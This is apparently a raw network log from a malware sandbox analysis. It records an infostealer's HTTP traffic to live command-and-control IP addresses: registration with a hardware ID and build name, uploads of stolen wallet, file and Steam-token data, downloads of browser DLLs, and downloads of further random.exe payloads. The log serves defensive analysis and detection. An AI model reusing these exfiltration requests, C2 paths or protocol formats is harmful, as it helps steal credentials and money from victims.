Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 2d 2d 0d 0a Data Ascii: ------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="file"------FBAAAKFCAFIIDHIDGHIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIIIJDAAAAAAKECBFBAHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKFHJEBAAEBGDGDBFBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 2d 2d 0d 0a Data Ascii: ------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="file"------IDBKFHJEBAAEBGDGDBFB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFHCGIDBAAFHIDHDAAEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 2d 2d 0d 0a Data Ascii: ------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="message"wallets------JDAKJDAAFBKFHIEBFCFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 2d 2d 0d 0a Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="message"files------KFCGDBAKKKFBGDHJKFHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 2d 2d 0d 0a Data Ascii: ------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="file"------IDBGHDGHCGHCAAKFIIEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="message"ybncbhylepme------ECAFHIIJJECGDHIEGDAK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 2d 2d 0d 0a Data Ascii: ------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FBGIDHCAAKEBAKFIIIEB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005596001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005597001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 11 Nov 2024 18:42:12 GMTIf-None-Match: "67325004-1ba200"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCGIDHDAKJECBFHCBAAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 41 44 37 32 44 46 37 37 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 2d 2d 0d 0a Data Ascii: ------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="hwid"62AD72DF77442409657292------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="build"mars------DHCGIDHDAKJECBFHCBAA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 39 38 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005598031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005599001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 41 44 37 32 44 46 37 37 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="hwid"62AD72DF77442409657292------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="build"mars------CBFCBKKFBAEHJKEBKFCB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKFIIDGIEHIDGCGHIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 41 44 37 32 44 46 37 37 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 2d 2d 0d 0a Data Ascii: ------CAAKFIIDGIEHIDGCGHIIContent-Disposition: form-data; name="hwid"62AD72DF77442409657292------CAAKFIIDGIEHIDGCGHIIContent-Disposition: form-data; name="build"mars------CAAKFIIDGIEHIDGCGHII--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
